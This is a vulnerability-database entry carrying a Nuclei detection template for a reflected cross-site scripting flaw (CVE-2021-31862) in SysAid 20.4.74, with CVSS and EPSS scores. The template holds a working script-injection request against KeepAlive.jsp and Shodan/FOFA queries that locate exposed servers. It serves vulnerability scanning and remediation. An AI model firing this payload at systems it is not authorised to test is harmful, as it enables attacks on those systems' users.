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nucleiProjectDiscoveryNUCLEI:CVE-2021-31862
HistoryJan 07, 2022 - 7:58 a.m.

SysAid 20.4.74 - Cross-Site Scripting

2022-01-0707:58:38
ProjectDiscovery
github.com
3

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

54.3%

SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.

id: CVE-2021-31862

info:
  name: SysAid 20.4.74 - Cross-Site Scripting
  author: jas37
  severity: medium
  description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
    - https://www.sysaid.com/product/on-premise/latest-release
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31862
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31862
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.48947
    cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers:
      - type: dsl
        dsl:
          - '(body == "false <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022038b8aeb034956bdc62b2cc0faf3b3b96c56487ef30a73cca3e5b4d7f7cc68e4e022100913143d230a19128c200ec72b3f3223614ba45b286c16c61e55e0afbf315b8d1:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

54.3%

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